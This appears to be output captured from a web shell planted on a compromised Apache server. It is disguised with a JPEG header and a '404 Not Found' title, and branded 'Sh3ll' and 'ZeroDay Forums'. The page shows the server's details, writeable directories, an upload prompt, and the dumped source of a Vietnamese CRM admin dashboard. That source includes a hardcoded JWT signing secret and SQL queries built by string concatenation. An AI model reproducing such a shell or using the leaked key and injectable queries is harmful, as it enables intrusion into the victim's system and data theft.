����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/home/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/home/index.php
<?php
if(!isset($_SESSION['token']) or $_SESSION['token']==''){
    $print->refresh('index.php?act=login');
    exit();
}
$CORE->page_title = 'Home';
//check login all data user
$q_loging = $DB->query("SELECT * FROM tb_loging");
$txt_online_list = '';
while ($r_loging = $DB->fetch_row($q_loging)) {
    $all_login_remain = SESSION_TIME_LIFE - (time() - $r_loging['time_login']);
    if ($all_login_remain < 0) {
        $DB->query("DELETE FROM tb_loging WHERE login_id='" . $r_loging['login_id'] . "' ");
    }
    $token_user_info = JWT::decode($r_loging['session_data'], 'NHG#789-2017');
    $txt_online_list .= '<li><a href="javascript:void(0)"><img src="../assets/images/users/1.jpg" alt="user-img" class="img-circle"> <span>'.$token_user_info->user_name.'<small class="text-success">online</small></span></a>
                            </li>';
}
$type='list';
if(isset($CORE->input['type']) && $CORE->input['type']!=''){
    $type=$CORE->input['type'];
}
switch ($type){
    case 'total':
        $row_customer = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_customer WHERE customer_status='1' "));
        $arr['total_customer'] = $row_customer['total'];
        $row_service = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_service "));
        $arr['total_service'] = $row_service['total'];
        $row_hopdong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_hopdong "));
        $arr['total_hopdong'] = $row_hopdong['total'];
        $row_staff = $DB->fetch_row($DB->query("SELECT count(*) as total FROM  tb_staff "));
        $arr['total_staff'] = $row_staff['total'];
        echo json_encode($arr);
        exit();
        break;
    case 'total_user':
        $row_customer = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_customer WHERE customer_status='1' AND user_post='".$ob_user->user_name."' "));
        $arr['total_customer'] = $row_customer['total'];
        $row_service = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_service WHERE user_post='".$ob_user->user_name."' "));
        $arr['total_service'] = $row_service['total'];
        $row_hopdong = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_hopdong WHERE user_post='".$ob_user->user_name."'"));
        $arr['total_hopdong'] = $row_hopdong['total'];
        echo json_encode($arr);
        exit();
        break;
}
?>
<?php
/*use Firebase\JWT\JWT;
$key = "example_key";
$payload = array(
    "iss" => "http://example.org",
    "aud" => "http://example.com",
    "iat" => 1356999524,
    "nbf" => 1357000000
);

$jwt = JWT::encode($payload, $key);
$decoded = JWT::decode($jwt, $key, array('HS256'));
print_r($decoded);*/
$CORE->title_page = 'Dashboard';
include 'include/block/header.php';
?>
    <!-- Content Wrapper. Contains page content -->
    <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <div class="content-header">
            <div class="container-fluid">
                <div class="row mb-2">
                    <div class="col-sm-6">
                        <h1 class="m-0">Dashboard</h1>
                    </div><!-- /.col -->
                    <div class="col-sm-6">
                        <ol class="breadcrumb float-sm-right">
                            <li class="breadcrumb-item"><a href="?">Home</a></li>
                            <li class="breadcrumb-item active">Dashboard</li>
                        </ol>
                    </div><!-- /.col -->
                </div><!-- /.row -->
            </div><!-- /.container-fluid -->
        </div>
        <!-- /.content-header -->

        <!-- Main content -->
        <section class="content">
            <div class="container-fluid">
                <!-- Small boxes (Stat box) -->
                <div class="row">
                    <div class="col-lg-3 col-6">
                        <!-- small box -->
                        <div class="small-box bg-info">
                            <div class="inner">
                                <h3 id="total_customer">150</h3>

                                <p>Khách hàng</p>
                            </div>
                            <div class="icon">
                                <i class="ion ion-bag"></i>
                            </div>
                            <a href="#" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                        </div>
                    </div>
                    <!-- ./col -->
                    <div class="col-lg-3 col-6">
                        <!-- small box -->
                        <div class="small-box bg-success">
                            <div class="inner">
                                <h3 id="total_service">53</h3>
                                <p>Dịch vụ</p>
                            </div>
                            <div class="icon">
                                <i class="ion ion-stats-bars"></i>
                            </div>
                            <a href="#" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                        </div>
                    </div>
                    <!-- ./col -->
                    <div class="col-lg-3 col-6">
                        <!-- small box -->
                        <div class="small-box bg-warning">
                            <div class="inner">
                                <h3 id="total_hopdong">44</h3>

                                <p>Hợp đồng</p>
                            </div>
                            <div class="icon">
                                <i class="ion ion-person-add"></i>
                            </div>
                            <a href="#" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                        </div>
                    </div>
                    <!-- ./col -->
                    <div class="col-lg-3 col-6">
                        <!-- small box -->
                        <div class="small-box bg-danger">
                            <div class="inner">
                                <h3 id="total_staff">65</h3>

                                <p>Nhân viên</p>
                            </div>
                            <div class="icon">
                                <i class="ion ion-pie-graph"></i>
                            </div>
                            <a href="#" class="small-box-footer">More info <i class="fas fa-arrow-circle-right"></i></a>
                        </div>
                    </div>
                    <!-- ./col -->
                </div>
                <!-- /.row -->
                <!-- Main row -->

                <!-- /.row (main row) -->
            </div><!-- /.container-fluid -->
        </section>
        <!-- /.content -->
    </div>
    <!-- /.content-wrapper -->
<script>
    $( "#total_customer" ).html( '<div class="spinner-border text-primary" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_service" ).html( '<div class="spinner-border text-success" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_hopdong" ).html( '<div class="spinner-border text-info" role="status"><span class="sr-only">Loading...</span></div>' );
    $( "#total_staff" ).html( '<div class="spinner-border text-danger" role="status"><span class="sr-only">Loading...</span></div>' );
    $.getJSON( "index.php?act=home&type=total", function( data ) {
        $('#total_customer').html(data.total_customer);
        $('#total_service').html(data.total_service);
        $('#total_hopdong').html(data.total_hopdong);
        $( "#total_staff" ).html( data.total_staff );
        //alert( "Load was performed." );
    });
</script>
<?php
include 'include/block/footer.php';
?>

ZeroDay Forums Mini